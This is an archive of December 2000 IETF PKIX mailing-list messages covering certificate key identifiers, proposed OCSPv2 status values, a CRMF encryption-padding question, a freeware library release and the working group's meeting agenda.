<4.3.2.7.2.20001205110115.00bb56e0@berit.xware.se> X-Sender: mats@berit.xware.se X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 05 Dec 2000 11:05:34 +0100 To: PKIX-List From: Mats Nilsson Subject: Comments on draft-ietf-pkix-new-part1-03 In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Hi. At the very top of page 79, close to the end of section 6.3.3 "CRL Processing", there is an incomplete fragment of a sentence: "If the". Regards Mats Nilsson From owner-ietf-pkix@imc.org Tue Dec 5 10:51:08 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA21884 for ; Tue, 5 Dec 2000 10:51:07 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA26039; Tue, 5 Dec 2000 07:47:39 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 5 Dec 2000 07:47:02 -0800 Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA25825 for ; Tue, 5 Dec 2000 07:47:00 -0800 (PST) Received: from kahu.cs.auckland.ac.nz (pgut001@kahu.cs.auckland.ac.nz [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id EAA21967; Wed, 6 Dec 2000 04:48:45 +1300 (NZDT) (sender pgut001@cs.auckland.ac.nz) Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <97603133708646>; Wed, 6 Dec 2000 04:48:57 (NZDT) From: pgut001@cs.auckland.ac.nz (Peter Gutmann) To: ietf-pkix@imc.org, pki_wby_cn@sina.com Subject: Re: Who can help me? Sender: pgut001@cs.auckland.ac.nz Reply-To: pgut001@cs.auckland.ac.nz X-Charge-To: pgut001 X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz Date: Wed, 6 Dec 2000 04:48:57 (NZDT) Message-ID: <97603133708646@kahu.cs.auckland.ac.nz> Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe pki_wby_cn writes: >Please tell me why I cannot got the correct result ???????? This question should be in some sort of FAQ since it comes up every month or so, it should also be added to son-of-2459... here's the reply I posted the last time it came up: -- Snip -- The keyIdentifier is supposed to be an explicit value, not something which is implicitly generated according to some particular formula. That is, you get the key ID by reading out of the extension whatever value is present there, not by hashing something and taking that as the key ID. (I don't know what range of certs you've worked with, but eventually you're going to run into key ID's which contain 32-bit values, 64 bit values which don't follow RFC 2459, ASCII strings, and who knows what else, so assuming you can implicitly create them will lead to problems). -- Snip -- Peter. From owner-ietf-pkix@imc.org Tue Dec 5 11:15:35 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA28420 for ; Tue, 5 Dec 2000 11:15:35 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA28831; Tue, 5 Dec 2000 08:12:38 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 5 Dec 2000 08:12:31 -0800 Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA28782 for ; Tue, 5 Dec 2000 08:12:28 -0800 (PST) Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id ; Tue, 5 Dec 2000 11:14:40 -0500 Message-ID: <8D7EC1912E25D411A32100D0B769539727DF4B@scygmxs01.cygnacom.com> From: Peter Hesse To: "'pki_wby_cn'" , ietf-pkix@imc.org Subject: RE: Who can help me? Date: Tue, 5 Dec 2000 10:53:59 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05ED3.94BBA610" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C05ED3.94BBA610 Content-Type: text/plain; charset="gb2312" The methods you mention are only recommendations: "Where a key identifier has not been previously established, this specification recommends use of one of these methods for generating keyIdentifiers." The issuer can put anything in their subjectKeyIdentifier as long as it matches all the authorityKeyIdentifiers that it creates. You should never attempt to calculate authorityKeyIdentifiers, only use the values that are present in the certificates. --Peter ---------------------------------------------------------------- Peter M. Hesse pmhesse@cygnacom.com http://www.cygnacom.com CygnaCom Solutions, An Entrust Technologies Company (703)270-3523(voice) (703)848-0960(fax) ICQ#1942828 "Pay no attention to what the critics say; there has never been a statue set up in honor of a critic." --Jean Sibelius -----Original Message----- From: pki_wby_cn [mailto:pki_wby_cn@sina.com] Sent: Tuesday, December 05, 2000 2:55 AM To: ietf-pkix@imc.org Subject: Who can help me? hello, all: In rfc2459, there are two methods to calculate authority key identifier: (1) 160-bit SHA-1 hash of the value of the BIT STRING subjectPublicKey (excluding the tag,length,and number of unused bits) (2) a four bit type field with the value 0100 followed by the least significant 60 bits of SHA-1 hash of the value of the BIT STRING subjectPublicKey Here is the public key of a thawte CA cert (the attchment contain this public key) : 3081 8902 8181 00B3 695A 97D4 D016 0B7A B5C5 5DE9 219C 2372 CD12 4C4B F77E CFC7 FBCA 7224 F442 52AC 5795 E37B 617A 1784 E7FD 7239 3894 B4EA ED65 A792 065E BDE0 65F6 19BB 9479 764C 3EB9 6870 7584 1CF4 1174 00BC 052C 4F09 0317 31CC F441 D472 C6A6 5DE2 8844 B08B 2EC4 4DF1 F0D6 853E 6CF3 9594 7891 7E40 E99C D18D 1557 8EC2 73E5 30DE 46F5 4F02 0301 0001 In the user certificate, the authority key identifier is : 88AB F160 8366 55F4 E458 C746 1DC0 61BD 23D7 C38C I calculate according the first method, but got the result: 4B7E E315 BBE3 2BEA 15C8 5F3C AB2E 3F36 880E 64A3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Please tell me why I cannot got the correct result ???????? ______________________________________ ------_=_NextPart_001_01C05ED3.94BBA610 Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: quoted-printable RE: Who can help me?

The methods you mention are only = recommendations:  "Where a key identifier has not been = previously established, this specification recommends use of one of = these methods for generating keyIdentifiers."

The issuer can put anything in their = subjectKeyIdentifier as long as it matches all the = authorityKeyIdentifiers that it creates.  You should never attempt = to calculate authorityKeyIdentifiers, only use the values that are = present in the certificates.

--Peter

---------------------------------------------------------------= -
Peter M. Hesse   = pmhesse@cygnacom.com   http://www.cygnacom.com
      CygnaCom Solutions, = An Entrust Technologies Company
      (703)270-3523(voice) = (703)848-0960(fax) ICQ#1942828
"Pay no attention to what the critics say; = there has never been
a statue set up in honor of a critic." --Jean = Sibelius


-----Original Message-----
From: pki_wby_cn [mailto:pki_wby_cn@sina.com]
Sent: Tuesday, December 05, 2000 2:55 AM
To: ietf-pkix@imc.org
Subject: Who can help me?


hello, all:

In rfc2459, there are two methods to calculate = authority key identifier:
(1) 160-bit SHA-1 hash of the value of the BIT = STRING subjectPublicKey
    (excluding the tag,length,and = number of unused bits)
(2) a four bit type field with the value 0100 = followed by the least
    significant 60 bits of SHA-1 hash = of the value of the BIT STRING
    subjectPublicKey

Here is the public key of a thawte CA cert
(the attchment contain this public key) :
        3081 8902 = 8181 00B3 695A
        97D4 D016 = 0B7A B5C5 5DE9
        219C 2372 = CD12 4C4B F77E
        CFC7 FBCA = 7224 F442 52AC
        5795 E37B = 617A 1784 E7FD
        7239 3894 = B4EA ED65 A792
        065E BDE0 = 65F6 19BB 9479
        764C 3EB9 = 6870 7584 1CF4
        1174 00BC = 052C 4F09 0317
        31CC F441 = D472 C6A6 5DE2
        8844 B08B = 2EC4 4DF1 F0D6
        853E 6CF3 = 9594 7891 7E40
        E99C D18D = 1557 8EC2 73E5
        30DE 46F5 = 4F02 0301 0001

In the user certificate, the authority key identifier = is :
        88AB F160 = 8366 55F4 E458 C746 1DC0 61BD 23D7 C38C

I calculate according the first method, but got the = result:
        4B7E E315 = BBE3 2BEA 15C8 5F3C AB2E 3F36 880E 64A3
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Please tell me why I cannot got the correct result = ????????
______________________________________

------_=_NextPart_001_01C05ED3.94BBA610-- From owner-ietf-pkix@imc.org Tue Dec 5 11:31:26 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA02078 for ; Tue, 5 Dec 2000 11:31:25 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA29964; Tue, 5 Dec 2000 08:27:15 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 5 Dec 2000 08:27:10 -0800 Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA29927 for ; Tue, 5 Dec 2000 08:27:08 -0800 (PST) Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id RAA62490; Tue, 5 Dec 2000 17:35:24 +0100 Received: from bull.net (frpq6118.frpq.bull.fr [129.184.8.64]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id RAA14784; Tue, 5 Dec 2000 17:28:36 +0100 Message-ID: <3A2D17B5.B1321B8@bull.net> Date: Tue, 05 Dec 2000 17:28:37 +0100 From: Denis Pinkas Organization: Bull X-Mailer: Mozilla 4.7 [fr] (Win98; I) X-Accept-Language: fr MIME-Version: 1.0 To: Michael Myers CC: ietf-pkix@imc.org Subject: Re: Proposed edits to OCSPv2 -01 References: <2F3EC696EAEED311BB2D009027C3F4F401C5BEC8@vhqpostal.verisign.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit Michael, > Denis, all: > > Here's a bit of a longish note proposing some edits to > draft-ietf-pkix-ocspv2-01.txt that get us to -02 and last call. I do not think we are ready for last call. :-( > In summary: > > 1. Change "good" to "not revoked"; add "valid", "invalid", > "suspended" and "expired" states; add corresponding semantic > and normative text. I skimmed through your text and would need more time than I have now to respond. The only point I can say at this time, is that the change from "good to "not revoked" is fine, but than I do not agree to introduce more than the two other states that are presently defined in v1. "suspended" = "revoked", with a secondary status information saying that it is temporary. Remember that from a CRL point of view, there are only two status: revoked, not revoked. Suspended is a refinement of revoked. OCSP v1 makes the assumption that anyway the requester will have to get the certificate, so it is able to know by looking directly at the certificate whether it is "expired". This status is not needed. Then what would be the difference between "not revoked" and "valid" ? Instead of fixing the problem, it becomes worse. :-( The major problem we will need to discuss next week, at San Diego, is the use of an EXTENSION. If I understand your view, the status reflects the combination of all queries, while in my view, the current status reflects the status about the revocation status query only, status related to additional queries passed in the extensions, come back in the extensions. Would you now *PLEASE* respond to the following question (already raised four times): " Extensions allows to request new services. The request for each every new service may fail or succeed. This means that each extension will have to carry the result of the request for the new service. This also means that the current status will only carry the response to a *status revocation request*, but will not carry any additional meaning. The real advantage to add DPV and DPD to OCSP is to be able to support both a revocation status request and DPV or DPV+DPD in a single request. It should however be noticed that (...) the server may well return a "revocation status unknown" response, but still respond to a DPD (Delegated Path Discovery) for the certificate." Since PKIX starts on Tuesday afternoon, let us have a corridor discussion before, e.g. on Monday. Denis > 2. Add unsupportedOption and unrecognizedIdentifer to error cases. > > 3. Add normative text regarding the use of CRLs. > > In the case of the "good" vs. "not revoked" revision, the bits on the wire > don't change, nor is there any essential change in semantics. In effect, > all that's changing is the abstract symbol. The only hit might be to > environments that are using "good" to mean "valid" in the delegated path > validation sense. I doubt anyone's doing that, but if you are and this > change hits you, please let us know. Otherwise, all you're going to have is > some source that uses "good" as a compile-time symbol while the new > standard says "not revoked" but once the compile is done the corresponding > ASN.1 value [0] doesn't change anyway so interoperability is preserved; nor > are there any fundamental semantic changes. Also, the new values will go on > the end of the end of the CertStatus choice with tag numbers > [2] so > there's no hit there either for v1 environments. Same for the new error > conditions, which are only v2-relevant. > > One other thing. Many environments use a sequence of "revoked" and "not > revoked" to achieve a suspension effect. Those who do so should take care > to read and comment on the new text "2.8 Use of CRLs" located at the end of > this note, especially given the proposal for a unique "suspended" response > value. > > With regards to all, > > Mike > > 2.2 Response > ------------- > CURRENT -01 TEXT > OCSP responses can be of various types. An OCSP response consists of > a response type and the bytes of the actual response. There is one > basic type of OCSP response that MUST be supported by all OCSP > servers and clients. The rest of this section pertains only to this > basic response type. > > PROPOSED -02 TEXT > OCSP responses can be of various types, corresponding to various > services. An OCSP response consists of a response type and the > bytes of the actual response. This document defines one standard > response syntax, BasicOCSPResponse, and one standard service, > id-pkix-ocsp-basic (see Section 4.2.1). > > The BasicOCSPResponse syntax MAY be used for other OCSP services > not defined in this document. However, the id-pkix-ocsp-basic > service identifier SHALL only be used to report on the revocation > status of a certificate (i.e. "revocation service"). > > OCSP servers SHALL be capable of supporting revocation service. > Environments that deploy OCSP for services other than revocation > service are NOT required to activate the revocation service feature > of their OCSP servers. > > CURRENT -01 TEXT > A basic response message is composed of: > > PROPOSED -02 TEXT > The BasicOCSPResponse syntax is composed of: > > CURRENT -01 TEXT > This specification defines the following definitive response > indicators for use in the certificate status value: > > -- good > -- revoked > -- unknown > > The "good" state indicates a positive response to the status inquiry. > When used in in a basic response, this positive response value indicates > that the responder has current revocation information from the CA tha > issued the certificate and that the certificate is not revoked, but does > not necessarily mean that the certificate was ever issued or that the > time > at which the response was produced is within the certificate's validity > interval. Other response types or response extensions may be used to > convey > additional information on assertions made by the responder regarding the > status of the certificate such as positive statement about issuance, > validity, etc. > > The "revoked" state indicates that the certificate has been revoked > (either permanantly or temporarily (on hold)). > > The "unknown" state indicates that the responder doesn't know about > the certificate being requested. > > PROPOSED -02 TEXT > This specification defines the following definitive status > values for use in BasicOCSPResponse: > > -- not revoked > -- revoked > -- unknown > -- valid > -- invalid > -- suspended > -- expired > > The "not revoked" value SHALL be used to indicate that the responder > has current revocation information from the CA that issued the > certificate and that that information indicates that the certificate > is not revoked. The "not revoked" value MAY be returned for a previously > revoked certificate that has expired as defined below. > > The "revoked" value SHALL be used to indicate that the revocation > information currently available to the responder identifies the > certificate as in that state. The "not revoked" value MAY be returned > for a previously revoked certificate that has expired as defined below. > The "revoked" value MAY be returned for a previously-revoked certificate > whose notAfter validity field has expired as defined below. > > The "unknown" value SHALL be used to indicate that the responder does > not recognize the certificate as being among those for which it is > authoritative. When used in conjunction with id-pkix-ocsp-basic, > "unknown" SHALL be interpreted as revocation status unknown. > > The "valid" value SHALL be used to indicate that the certificate > at a minimum satisifes the path validation logic defined in RFC 2459. > Correspondingly, the "invalid" value SHALL be used to indicate that > the certificate at a minimum fails to satisfy RFC 2459 path validation > rules. Environments with a need to use these values MAY define service > identifiers(i.e. OIDS) that uniquely identify the full set of practices > and policies undertaken to confirm a certificate's validity within their > environment. Such practices and policies MAY include an assessment of > the certificate's suitability for a given purpose or function in excess > of the required compliance to RFC2459 path validation rules. > > The "valid" and "invalid" values SHALL NOT be returned in a > id-pkix-ocsp-basic response. > > The "suspended" value SHALL be used to indicate that the responder > has current information from the CA named in the certificate indicating > that the certificate is suspended but not yet permanently revoked. > OCSP responders MAY use a well-ordered sequence of "revoked" and > "not revoked" responses to achieve the same effect. The "suspended" > value MAY be returned for certificate that has expired as defined below. > > The "expired" value SHALL be used to indicate that the responder has > confirmed on the basis of its (the responder's) time base that the > notAfter value in the certificate's Validity field is less than the > current time as indicated by the responder's time base. Requirements > governing the reliability of a responder's time base is beyond the > scope of this specification. > > 2.3 Exception Cases > -------------------- > CURRENT -01 TEXT > -- malformedRequest > -- internalError > -- tryLater > -- sigRequired > -- unauthorized > -- noMoreData > > PROPOSED -02 TEXT > -- malformedRequest > -- internalError > -- tryLater > -- sigRequired > -- unauthorized > -- noMoreData > -- unsupportedOption > -- unrecognizedIdentifier > > "unsupportedOption" indicates that the responder recognizes > the syntax of the request but does not support or is not being > operated to support one or more service options specified in > the request. If the request is v1, the responder SHALL return > "malformedRequest" rather than "unsupportedOption". > > "unrecognizedIdentifier" indicates that the responder cannot > identify the certificate using the certificate identifier supplied > in the request. If the request is v1, the responder SHALL return > "malformedRequest" rather than "unrecognizedIdentifier". > > CURRENT -01 TEXT > A server produces the "malformedRequest" response if the request > received does not conform to the OCSP syntax. > ^^^^ > > PROPOSED -02 TEXT > A server produces the "malformedRequest" response if the request > received does not conform to the required syntax. > ^^^^^^^^ > > 2.5 Response Pre-production > CURRENT -01 TEXT > The time at or before which newer information will be available > is reflected in the nextUpdate field, while the time at which > ^^^^^^^^^^^^ > the response was produced will appear in the producedAt field > ^^^^ > of the response. > > PROPOSED -02 TEXT > The time at or before which newer information will be available > SHALL appear in the nextUpdate field, while the time at which > ^^^^^^^^^^^^ > the response was produced SHALL appear in the producedAt field > ^^^^^ > of the response. > > 2.6 OCSP Signature Authority Delegation > ---------------------------------------- > CURRENT -01 TEXT > A certificate's issuer explicitly delegates OCSP signing authority > ^^^^^^^^^^ ^ > > PROPOSED -02 TEXT > A certificate's issuer MAY explicitly delegate OCSP signing authority > ^^^ > > 2.8 Use of CRLs (new section) > PROPOSED -02 TEXT > > An id-pkix-ocsp-basic response MAY be produced using a data source other > than CRLs. Environments providing both id-pkix-ocsp-basic service and > CRL maintenance service SHOULD ensure that both are synchronized with > respect to the values of "revoked" and "not revoked" for certificates > that are simultaneously subject to both services. Such environments > MAY exclude from the corresponding CRL certificates for which the value > of "suspended" would be returned in their id-pkix-ocsp-basic service. > > [Notes to reviewers of this new section. The essential issues are these: > > 1. OCSP does not now nor ever has *required* the use of CRLs although > the practice is known to be useful in some environments. This > clearly needs to be better spelled out since it continues to come > up. > > 2. Where CRLs *are* relevant, a degree of synchronicity is vital. A > situation where, for example, there exists a "not revoked" OCSP > response in the presence of a CRL listing a certificate is clearly > a bad thing (or a good thing if you're a lawyer representing a > party seeking remedy.) > > 3. Suspension is a PITA with CRLs but easy with OCSP. Since OCSP > revocation > service isn't intrinsically linked to CRLs, we need to ensure that > we > avoid creating a situation where the only reason to implement > CRL-based > suspension is to deliver "suspended" responses. If that situation > were > to obtain, it's a sure bet there'd be very few if any "suspended" > responses being exchanged across the Internet. We'd all be back to > the revoked/not revoked hack.] From owner-ietf-pkix@imc.org Tue Dec 5 14:32:06 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA23910 for ; Tue, 5 Dec 2000 14:32:05 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA14798; Tue, 5 Dec 2000 11:26:36 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Tue, 5 Dec 2000 11:26:17 -0800 Received: from wfhqex05.gfgsi.com (netva01.wangfed.com [206.137.100.2]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA14707; Tue, 5 Dec 2000 11:26:16 -0800 (PST) Received: by wfhqex05.gfgsi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 5 Dec 2000 14:27:47 -0500 Message-ID: <4B0D36365AD3D2118FF40060972A16C0019B19DB@wfhqex01.wangfed.com> From: "Pawling, John" To: "Pawling, John" Subject: SFL/CML/ACL/SNACC Freeware Available *NEW CML RELEASE* Date: Tue, 5 Dec 2000 14:27:50 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe All, The freeware Certificate Management Library (CML), S/MIME Freeware Library (SFL), Access Control Library (ACL), Enhanced SNACC ASN.1 freeware and Cryptographic Token Interface Libraries (CTIL) developed by Getronics Government Solutions are now available from the following web pages: SFL and CTILs: CML: ACL: Enhanced SNACC ASN.1 Freeware: **NEW CML RELEASE**: The CML files available from are a new release. The v1.81 CML release fixes bugs in the v1.8 CML as documented in the v1.8 CML Problem Report file. With the exception of the CML files, there are no significant differences between the files available from the Getronics Government Solutions web pages and those that were formerly available from the Fortezza Developers Web Site . We welcome all feedback regarding these freeware security libraries. =========================================== John Pawling, John.Pawling@GetronicsGov.com Getronics Government Solutions, LLC =========================================== From owner-ietf-pkix@imc.org Wed Dec 6 15:36:01 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA11678 for ; Wed, 6 Dec 2000 15:36:00 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA04929; Wed, 6 Dec 2000 12:32:49 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Wed, 6 Dec 2000 12:30:39 -0800 Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA04703 for ; Wed, 6 Dec 2000 12:30:38 -0800 (PST) Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id TAA59266 for ; Wed, 6 Dec 2000 19:25:59 -0500 (EST) (envelope-from arik@phaos.com) Message-Id: <4.2.0.58.20001206152915.00bf2300@mail.phaos.com> X-Sender: arik@mail.phaos.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 06 Dec 2000 15:40:18 -0500 To: ietf-pkix@imc.org From: Ari Kermaier Subject: CRMF EncryptedValue Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe It seems to me that the EncryptedValue structure defined in CRMF (used in POPOPrivKey and PKIArchiveOptions) may be incompletely specified. The syntax from draft-ietf-pkix-rfc2511bis-00 Section 6.4 is: EncryptedValue ::= SEQUENCE { intendedAlg [0] AlgorithmIdentifier OPTIONAL, -- the intended algorithm for which the value will be used symmAlg [1] AlgorithmIdentifier OPTIONAL, -- the symmetric algorithm used to encrypt the value encSymmKey [2] BIT STRING OPTIONAL, -- the (encrypted) symmetric key used to encrypt the value keyAlg [3] AlgorithmIdentifier OPTIONAL, -- algorithm used to encrypt the symmetric key valueHint [4] OCTET STRING OPTIONAL, -- a brief description or identifier of the encValue content -- (may be meaningful only to the sending entity, and used only -- if EncryptedValue might be re-examined by the sending entity -- in the future) encValue BIT STRING } How does the recipient of such a structure know what block padding scheme may (or may not) have been used with the symmetric encryption algorithm? CMS, for example, specifies mechanisms whereby this information is conveyed with similar message structures, but I can't seem to find any mention of this in CMP/CRMF. Any ideas, anyone? Ari From owner-ietf-pkix@imc.org Wed Dec 6 17:01:38 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA07787 for ; Wed, 6 Dec 2000 17:01:38 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA10768; Wed, 6 Dec 2000 13:58:30 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Wed, 6 Dec 2000 13:57:00 -0800 Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA10680 for ; Wed, 6 Dec 2000 13:56:58 -0800 (PST) Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id QAA07638 for ; Wed, 6 Dec 2000 16:59:05 -0500 (EST) Message-Id: <4.2.0.58.20001206163753.01d70660@email.nist.gov> X-Sender: wpolk@email.nist.gov X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 06 Dec 2000 16:56:46 -0500 To: ietf-pkix@imc.org From: Tim Polk Subject: PKIX WG tentative agenda In-Reply-To: <97603133708646@kahu.cs.auckland.ac.nz> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_10195782==_" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe --=====================_10195782==_ Content-Type: text/plain; charset="us-ascii"; format=flowed Folks, I have attached the tentative agenda for next week's PKIX sessions. As usual, we have a rather full agenda. Both days should be interesting; we'll discuss the path validation protocols on Tuesday and XML on Wednesday. In between, we'll cover the status of our twenty current I-Ds. I am projecting a half hour for discussions on XML and PKI. So far, Phil has requested time to describe XKMS. If you would like to present under this general topic, please send me email. I will try to get everyone some time to present their views. Thanks, Tim Polk --=====================_10195782==_ Content-Type: text/plain; charset="us-ascii" Content-Disposition: attachment; filename="IETF PKIX agenda.txt" PKIX WG (pkix-wg) TUESDAY, December 12 at 1545-1645 WEDNESDAY, December 13 at 1300-1500 ================================= CHAIR: Stephen Kent , Tim Polk AGENDA: Document Status Review Tim Polk (NIST) The working group has twenty current Internet-Drafts. A number of documents are in various stages of Last Call. Several others are ready for Last Call. (5 min.) Delegated Path Validation Services - various The working group has been presented with several alternative proposals. The current proposals are the Simple Certificate Validation Protocol (SCVP) and Delegated Path Validation drafts. The WG needs to select one I-D as the PKIX path validation protocol and create one standards track specification. An extensive discussion is planned for this session, with presentations by the authors of the competing specifications as well as the WG chairs. (up to 30 min.) Qualified Certificates Profile - Stefan Santesson (Addtrust) This document has been approved as a Standards track RFC and is currently in the editing queue. A brief discussion of the status of the corresponding ETSI specification will be included in this update. (5 min.) Data Validation and Certification Server - Carlisle Adams (Entrust) This document has been approved as a Experimental track RFC and is currently in the editing queue. (5 min.) Time Stamp Protocols (TSP) - Denis Pinkas (Bull) This document has been through working group Last Call and is currently under Area Director Review. This status update will describe changes made to the TSP specification as a consequence of Last Call. (5 min.) Attribute Certificate Profile - Steve Farrell (Baltimore) This document has been through working group Last Call and is currently under Area Director Review. This status update will describe changes made to the Attribute Certificate Profile as a consequence of Last Call. (5 min.) Technical Non-Repudiation - Tim Polk (NIST) for Tom Gindin (IBM) After minor changes are incorporated to address recent comments, this document will be ready to progress as an Informational track specification. (5 min.) Permanent Identifier - Denis Pinkas (Bull) This document is stable and ready for progression to RFC status. This discussion will center on the strategy for progressing this document. (5 min.) [*Approximate* breaking point between meetings] Certificate and CRL Profile revisions - Russ Housley (SPYRUS) This document is the follow-up to RFC 2459. A new draft of this document has been published. Hopefully, we are ready for Working Group Last Call. The document will be a standards Track and is expected to go to Proposed Standard. (10 min.) Public Key Algorithms and Identifiers - Russ Housley (SPYRUS) This document is a companion to the Certificate and CRL Profile. This specification contains the algorithm-specific information, such as OIDs and encoding information. This specification is ready for WG Last Call and is expected to progress to Proposed Standard with the Certificate and CRL Profile. (5 min.) CMP/CRMF Interoperability Results - Bob Moskowitz (ICSA Labs) Bob has been organizing interoperability testing for CRMF/CMP Implementations. This testing will support the progression of CMP and CRMF to Draft standard. (10 min.) Certificate Request Message Format (CRMF) - Carlisle Adams (Entrust) This document incorporates clarifications to RFC 2511. These changes are proposed as a result of interoperability testing. This specification is nearly ready for Last Call and progression of CRMF to Draft Standard. (5 min.) Certificate Management Protocol (CMP) - Carlisle Adams (Entrust) This document incorporates clarifications to RFC 2510. These changes are proposed as a result of interoperability testing. This specification is nearly ready for Last Call and progression of CMP to Draft Standard. (5 min.) OCSPv2 and Delegated Path Discovery - Michael Myers (VeriSign) These documents incorporate clarifications and enhancements to RFC 2560 and define a new OCSP extension for path discovery. The editor feels the OCSPv2 is stable and ready for progression to RFC status. See the following resentation. (10 min.) Comments on OCSPv2 - Denis Pinkas (Bull) An alternative view on the progression of OCSPv2. (5 min.) CP/CPS Framework - Santosh Chokhani (Cygnacom) An ad hoc group of PKIX and ABA members has been working on revisions to RFC 2527, the "Certificate Policy and Certification Practices Framework". A new draft will be posted in the near future. This update will describe expected changes in the document. (5 min.) PKIX Roadmap - Sean Turner (IECA) This document provides an overview or "roadmap" of the work done by the IETF PKIX working group. It defines common terms, describes basic theory behind PKI, and provides an overview of PKIX documents and the relationships between them. This document is now fairly stable, and could be considered for progression as an informational RFC. (5 min.) Operational Protocols, LDAPv3 - David Chadwick (Univ. of Salford) This document is the LDAPv3 analog of RFC 2559. This document describes the features of LDAPv3 that are essential, or not required, or are optional for servers to support a PKI based on X.509. (5 min.) Additional LDAP Schema for PKIs and PMIs - David Chadwick (Salford) This specification is a supplement to RFC 2587, and describes Additional schema elements for use with LDAPv3 PKI repositories. Attribute Certificate Acquisition Protocol - Steve Farrell (Baltimore) This document specifies a deliberately limited protocol for requesting attribute certificates from a server. (5 min.) Repository Locator Service - Phil Hallem-Baker (VeriSign) This document leverages DNS and DNS SRV records to enable Certificate using systems to locate PKI repositories based on a domain name, identify the protocols that can be used to access the repository, and obtain addresses for the servers that host the repository service. (5 min.) PKIX and XML - various The relationship of PKI and XML-based clients has been the subject of great discussion on the list. As time allows, we will continue that discussion. (30-40 min.) --=====================_10195782==_-- From owner-ietf-pkix@imc.org Wed Dec 6 18:32:57 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org 